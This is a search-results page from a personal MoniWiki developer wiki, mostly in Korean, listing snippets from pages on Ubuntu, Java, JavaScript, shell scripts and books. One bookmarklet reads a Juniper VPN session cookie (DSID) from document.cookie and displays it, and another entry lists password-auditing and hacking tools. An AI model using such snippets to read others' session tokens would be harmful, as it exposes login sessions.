  • ToolsForEnglishLearning . . . . 1 match
         https://www.clozemaster.com
  • UML관계 . . . . 1 match
          * 연관(Association) : 깊은 의존성으로 항상 가지고 있다.(has a ~ 관계, Member Field, 속성), 실선, 실선과 꺽쇠괄호 등
  • Ubuntu16.04XPS-13WifiDriverIssue . . . . 1 match
         It'll grab the latest broadcom drivers and intel microcode, you'll need to disable secure boot if its enabled, reboot, and it should work.
         this case i set to :UEIF+NoSecureBoot
  • UbuntuKeyboardMapping . . . . 1 match
         == using capslock as esc ==
  • UbuntuWithinWindow . . . . 1 match
         multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Microsoft Windows XP Professional" /Execute /fastdetect
  • UseCase관계 . . . . 1 match
         UseCaseDiagram >
  • UseCase정의서 . . . . 1 match
         [UseCaseDiagram] >
          * Main Flow
  • Utf8EncoderDecoderJavascript . . . . 1 match
         utf8로 인코딩 디코딩 하는 [javascript]입니다.
  • VIA Keychron K9 Pro Layout Setting File . . . . 1 match
         https://www.keychron.com/blogs/archived/k9-pro-factory-reset-and-firmware-flash?_pos=1&_psq=reset+k9&_ss=e&_v=1.0
  • Vim Plugins . . . . 1 match
         vim-markdown-preview
         EasyMotion
  • WebWork . . . . 1 match
         WebWork is a Java web-application development framework. It is built specifically with developer productivity and code simplicity in mind, providing robust support for building reusable UI templates, such as form controls, UI themes, internationalization, dynamic form parameter mapping to JavaBeans, robust client and server side validation, and much more.
  • WikiHomePage . . . . 1 match
         A WikiHomePage is your personal page on a WikiWiki, where you could put information how to contact you, your interests and skills, etc. It is regarded as to be owned by the person that created it, so be careful when editing it.
  • WikiKeyword . . . . 1 match
         See also FacetedClassification
  • WikiMarkup . . . . 1 match
         The special characters or character sequences used in a WikiWikiWeb to indicate the desired formatting. Like duplicate single-quote for ''emphasis''.
  • WikiWikiWebFaq . . . . 1 match
         '''A:''' A set of pages of information that are open and free for anyone to edit as they wish. The system creates cross-reference hyperlinks between pages automatically. See WikiWikiWeb for more info.
  • WikiWyg . . . . 1 match
         == Basic Wiki text ==
         SixSingleQuote Wiki''''''Wiki WikiName ddd test 2
         int main() {
         http://wiki.splitbrain.org/wiki:tips:wikiwyg
         test
         == 6 test ==
         test -- 59.25.183.20 [[Date(2006-02-14T01:12:29)]]
  • Windows다른사용자권한으로명령실행 . . . . 1 match
         runas
  • XMLHttpRequest . . . . 1 match
          , "/test.jsp?a=bbb&c=ddd"
          , true // is async ?
  • XSS . . . . 1 match
         [javascript convertToHtml()]
  • Xps13UbuntuBluetooth . . . . 1 match
         https://github.com/winterheart/broadcom-bt-firmware/blob/master/brcm/BCM20702A1-0a5c-216f.hcd
  • Zettelkasten . . . . 1 match
         #keywords note, memo, 노션, roam-research, 옵시디언, zettelkasten
  • alias . . . . 1 match
         ["alias useful"]
  • aspectwerkz . . . . 1 match
         AspectWerkz is a dynamic, lightweight and high-performant AOP framework for Java.
         http://aspectwerkz.codehaus.org/
  • atlassian . . . . 1 match
         https://gimslab.atlassian.net
  • b1l . . . . 1 match
         echo "keycode=94=backslash bar">~/.Xmodmap
  • bashrc . . . . 1 match
         [.bashrc]
  • blogtest . . . . 1 match
         {{{#!blog gim 2008-06-30T08:02:27 test
         asetest
  • bootlog . . . . 1 match
         grep -h -e 'Stopping ACPI' -e 'Started User Manager for UID 1000' /var/log/syslog /var/log/syslog.[0-9] >> /home/gim/_onoff.log
  • build.sh . . . . 1 match
         bash ./gradlew clean :finance-batch:batchPackage
  • bytelen . . . . 1 match
         [javascript text의 byte length 구하기]
  • clone . . . . 1 match
         [javascript clone function]
  • codesnippet . . . . 1 match
         JavascriptCodeSnippet
  • convenc . . . . 1 match
         public class ConvEnc
          public static void main(String[] args) throws Exception
          System.out.println("mail to : kiki@hikiki.net");
  • css . . . . 1 match
          vertical-align: baseline;
  • csv-encoding . . . . 1 match
         public class CSVUtil
  • dconf-editor . . . . 1 match
         DConf is a low-level key/value database designed for storing desktop environment settings.
  • delLastLine.sh . . . . 1 match
         ./delLastLine.sh FILE_NAME LINE_CNT
  • dns . . . . 1 match
         [fastest dns]
  • dojo . . . . 1 match
         [javascript]
         Dojo 는 JavaScript와 Dynamic Hypertext Markup Language (DHTML) 커뮤니티를 표준 JavaScript 라이브러리를 구현하여 일관된 방향으로 통합하기 위해 설계된 커뮤니티 프로젝트이다. 이 커뮤니티는 함께 일하는 사람들 없이는 성공할 수 없다는 것을 깨달았기 때문에 세 개의 이전 툴킷들을 통합하여 Dojo Foundation을 만들었다. 여기에서 코드를 소유 및 관리한다. Dojo는 Ajax 에디션, I/O 에디션 "Kitchen Sink"에디션 같은 여러 옵션 패키지들을 갖고 있다. 여기에는 전체 툴 세트가 포함된다.
  • editoratn.cmd . . . . 1 match
         copy c:\oracle\product\10.2.0\client_1\NETWORK\ADMIN\tnsnames.ora "%USERPROFILE%\tnsnames.ora.backup"
         copy c:\oracle\product\10.2.0\client_1\NETWORK\ADMIN\tnsnames.ora "%USERPROFILE%\tnsnames.ora.last"
  • email . . . . 1 match
         [sendmail] , [POP3S] , [POP3 Protocol] , [스팸차단] , [RBL] , ProcMail , SpamAssassin , [SPF] , [SMTP]
          *메일 전송에서 사용하는 email 주소 표시 형식들
  • findinjar.sh . . . . 1 match
         findinjar.sh TEST *.jar
         find . -name '*.jar' | xargs findinjar.sh 'MyClass'
  • flash . . . . 1 match
         [flash 제작 업체]
  • flexbox . . . . 1 match
         http://www.w3schools.com/css/css3_flexbox.asp
  • getip . . . . 1 match
         #keywords bash, shell script
  • googlemap . . . . 1 match
         javascript:void(prompt('',gApplication.getMap().getCenter()));
  • gradle . . . . 1 match
         #keywords gradle, 삽질, junit, test
         test sing test
         SampleTest.java
         gradle -Dtest.single=Sample test
         gradle -Dtest.single=*Sample test
         gradle -Dtest.single=*Sample myprj:test
  • https . . . . 1 match
         2013-01-02 22:47:56 last modified
  • idea . . . . 1 match
         [idea Qclass duplicated]
  • infrared . . . . 1 match
         InfraRED is a tool for monitoring performance of a J2EE application and diagnosing performance problems. It collects metrics about various aspects of an application's performance and makes it available for quantitative analysis of the application.
  • jar . . . . 1 match
         [jar파일에 classpath 추가하기]
  • java . . . . 1 match
         = [java basic] =
  • java_https . . . . 1 match
         [HttpsTest.java] : 기본 패키지 사용
  • javadoc . . . . 1 match
          *[^http://java.sun.com/javase/6/docs/api/ J2SE 6]
  • jdk . . . . 1 match
         http://www.oracle.com/technetwork/java/javase/downloads/
  • jetty . . . . 1 match
         Jetty is an open-source, standards-based, full-featured web server implemented entirely in [Java]
  • jni . . . . 1 match
          * Java2COM (commercial): is a bi-directional Java-COM bridging tool that enables Java applications to use COM objects and makes possible to expose Java objects as if they were COM objects. 유료
  • js . . . . 1 match
         [javascript]
  • juniper . . . . 1 match
         javascript:document.write("<h1>"+(document.cookie+"").replace(/^.*DSID=/,"").replace(/; .*$/, "")+"</h1>");
  • korflag.html . . . . 1 match
         html5 canvas 이용한 태극기 그리기
  • libraries . . . . 1 match
         [javascript library]
  • m2eclipse bug . . . . 1 match
         m2e-extras 설치
  • make .desktop file for window application launching . . . . 1 match
         StartupWMClass=ObinsKit
  • mmencode . . . . 1 match
         [email]
         [metamail]
         # decode base64
  • moniwiki . . . . 1 match
          * http://www.databaser.net/moniwiki/wiki.php/MoniWikiPlugin
  • plex . . . . 1 match
         /var/lib/plexmediaserver/Library/Application Support/Plex Media Server/Plug-ins
  • principals . . . . 1 match
         = class에 기능 추가가 필요할때 =
  • regexp . . . . 1 match
         [javascript regexp]
  • request.getHeaders() . . . . 1 match
         while(e.hasMoreElements()) {
  • reverse.sh . . . . 1 match
         https://github.com/gimslab/pc-settings/blob/master/bin/reverse.sh
  • ria . . . . 1 match
         OpenLaszlo
  • rosetta . . . . 1 match
         https://sen1-totale.rosettastoneenterprise.com/ko-KR
  • scp . . . . 1 match
         --> .bashrc 파일의 echo 문장을 없에든지 다음과 같이 수정
  • sed . . . . 1 match
         [awk], [rev], [delLastLine.sh]
  • serversocket . . . . 1 match
         public class z{
         public static void main(String[] args) throws Exception{
  • singleusermode . . . . 1 match
         #keywords singleusermode, ubuntu, linux
         http://linuxbsdos.com/2015/03/19/how-to-reset-user-password-on-ubuntu-14-10/
  • slack-alt-tab-error . . . . 1 match
         https://github.com/gimslab/scripts/blob/master/slack-fix-alt-tab-error.sh
  • slack-send.sh . . . . 1 match
         https://github.com/gimslab/scripts/blob/master/slack-send.sh
  • small-dic . . . . 1 match
         javascript:function%20openSdic(){var%20w=window.open('http://endic.naver.com/small.naver?where=index','DirectSearch_Dic','left='+(screen.width-410)+',top=17,width=405,height=500,resizable=no,scrollbars=no');void(0);}openSdic();
  • sonar.sh . . . . 1 match
         #keywords bash, sonar, example
  • ssh proxy . . . . 1 match
          User user1
  • stay . . . . 1 match
         #keyword bash, shell-program
  • sw . . . . 1 match
         ["AI Tools"]
  • test . . . . 1 match
         unix [Test명령]
  • todo . . . . 1 match
         TaskStack
  • trac . . . . 1 match
         Trac is a minimalistic approach to web-based management of software projects. Its goal is to simplify effective tracking and handling of software issues, enhancements and overall progress.
  • ubuntu . . . . 1 match
         [Epson AcuLaser C1700 driver for ubuntu]
  • updatehosts.sh . . . . 1 match
         https://github.com/gimslab/scripts/blob/master/updatehosts.sh
  • utf-8 . . . . 1 match
         [utf8 encoder decoder javascript]
  • vid . . . . 1 match
         attachment:"식별번호를 이용한 본인확인 기술규격(Subscriber Identification Based on Virtual ID).pdf"
  • vimrc . . . . 1 match
         https://github.com/gimslab/scripts/blob/master/.vimrc
  • weblogic . . . . 1 match
         [weblogic password reset]
  • x-internet . . . . 1 match
         [^http://www.openlaszlo.org/] : 플래쉬를 이용한 웹 UI
  • xsl적용하기.js . . . . 1 match
         [xml]에 [xsl]적용하는 JavaScript
          msg_id.innerHTML = xmlDoc.trasformNode(xslDoc);
  • 가사 . . . . 1 match
         [Our Last Summer]
  • 개발툴 . . . . 1 match
          * Tabnine AI
  • 검증-웹표준 . . . . 1 match
         [^http://www.iabf.or.kr/web/kadowah.asp]
  • 공유기 . . . . 1 match
         default password : user
  • 공인인증서 . . . . 1 match
         C:\Users\USER\AppData\LocalLow\NPKI
  • 구글번역브라우져북마크버튼만들기 . . . . 1 match
         javascript:var t=((window.getSelection&&window.getSelection())||(document.getSelection&&document.getSelection())||(document.selection&&document.selection.createRange&&document.selection.createRange().text));var e=(document.charset||document.characterSet);if(t!=''){window.open('http://translate.google.co.kr/?text='+t+'&hl=ko&langpair=auto|ko&tbb=1&ie='+e);}else{window.open('http://translate.google.co.kr/translate?u='+escape(location.href)+'&hl=ko&langpair=auto|ko&tbb=1&ie='+e);};
  • 나는아마존에서미래를다녔다-박정준-201907 . . . . 1 match
         No such thing as a stupid question
         Daily Sprint .. plan.. retro
  • 모바일관련기준 . . . . 1 match
         [http://www.w3.org/TR/mobile-bp/ Mobile Web Best Practices 1.0 Basic Guidelines]
  • 모바일웹에서인증된기기식별 . . . . 1 match
         보안이란 원래 100%는 없고 좀 더 보안성을 높인다는 측면에서 단순 id/password 보다는 어느정도 효과가 있지 않을까 생각하는데...
  • 미니노트북 . . . . 1 match
          *[^http://cafe.empas.com/mininote] - 미니노트북 유저모임(미노카페) JVC AirWorks 위주
  • 배치로MysqlDb백업받기 . . . . 1 match
         /usr/local/mysql/bin/mysqldump -u USER_ID --password=PASSWD DB_NAME > db_dump_`date +%Y%m%d`
         2.매일 수행시키기 위해 /etc/cron.daily 디렉토리 아래에 위의 스크립트를 호출하는 스크립트를 작성
         # cat /etc/cron.daily/backupMyDB
  • 백만불짜리습관 . . . . 1 match
         http://www.aladdin.co.kr/shop/wproduct.aspx?ISBN=899558551X
  • 분석설계&모델링전문가교육내용정리 . . . . 1 match
         = [Module 02.Use Case 모델링] =
  • 비관계형DB . . . . 1 match
         [카산드라(Cassandra)]
  • 쇠고기유통추적 . . . . 1 match
          * 연계표준화(웹서비스, EAI 이용 서비스 통합) : 전자정부표준프레임워크 연계 기능 활용
  • 숫자3자리마다콤마(쉼표)넣기JavascriptRegexp . . . . 1 match
         숫자 3자리마다 콤마(쉼표) 넣기 [javascript] [regexp]
          while (reg.test(n))
  • 스팸차단 . . . . 1 match
         '''SpamAssassin'''
         '''[RBL]''', '''[procmail]''', '''[SPF]'''
  • 스팸차단툴 . . . . 1 match
         '''SpamAssassin'''
  • 업무시각화-도미니카드그란디스-202005 . . . . 1 match
         4. 가중 최단 작업 우선(WSJF: Weighted shortest job first): 지연비용이 가장 높고 가장 짧게 걸리는 업무 우선
         운영 리뷰를 위한 누적 흐름도: attachment:opr-review-acc-flow.jpg?width=380
         영화 [https://movie.daum.net/moviedb/main?movieId=58793&t__nil_CastCrew=text In Time]
  • 올바른팝업창띄우기-Javascript . . . . 1 match
         [웹표준], [javascript]
  • 웹접근성 . . . . 1 match
         [올바른 팝업창 띄우기 - javascript]
  • 웹표준 . . . . 1 match
         [[올바른 팝업 창 띄우기 - Javascript]]
  • 웹표준구축비용 . . . . 1 match
         ecmascript 3rd
  • 읽을책 . . . . 1 match
         4.호메로스(Homeros)의 양대 서사시 일리아스(Ilias)와 오디세이아(Odysseia) : 단국대학교 출판부 번역본
  • 잠재력을끌어올리는10일플랜-마지막몰입-짐퀵-202104 . . . . 1 match
         1일차: FASTER 배우기
         Review: 매일, 매주, 매월 혹은 어떤주기로든 복습하자. 돌아보자.
         Brain Food 한가지 이상 먹자. 회백질에 에너지를 공급하자. 뭘먹었을때 활력이 넘치던가? 뭘먹었을때 기운이 떨어지던가?
  • 제13회한국자바개발자컨퍼런스 . . . . 1 match
         jboss as
         Soapui test tool
  • 제텔카스텐 . . . . 1 match
         [Zettelkasten]
  • 충전식 전자책 블루투스 리모컨 게임패드 SM-031N . . . . 1 match
         키 설명: http://itempage3.auction.co.kr/DetailView.aspx?itemno=B357708734
  • 탭모양의메뉴만들기 . . . . 1 match
          <li><a href="" class="active">재밌는 메뉴</a></li>
  • 텍스트처리명령어 . . . . 1 match
         paste
         tail
  • 포렌식 . . . . 1 match
         [EnCase]
         [caine]
  • 함께자라기,애자일로가는길-김창준-2019 . . . . 1 match
         인간 reverse engineering(인지적 작업 분석; Cognitive Task Analysis)
  • 해킹툴 . . . . 1 match
         cain & Abel : 윈도우용 종합 해킹툴 http://www.oxid.it
         @stake LC 5 : password-auditing tool
         [Wikto] : Web Server Assessment Tool
  • 해피해킹 . . . . 1 match
          * 방향키와 페이지업다운, 홈, 엔드키를 생각보다 많이 사용하더라.. 내가.. 이걸 모두 오른쪽 새끼손가락을 누른상태에서 써야하니 새끼손가락이 피곤.. vi나 eclipse vrapper, bash 만 사용한다면 무관하지만 그외의 많은 툴들은 방향키를 써야하고...
Found 547 matching pages out of 1803 total pages

You can also click here to search title.

Valid XHTML 1.0! Valid CSS! powered by MoniWiki
last modified 2023-10-15 23:59:14
Processing time 1.9095 sec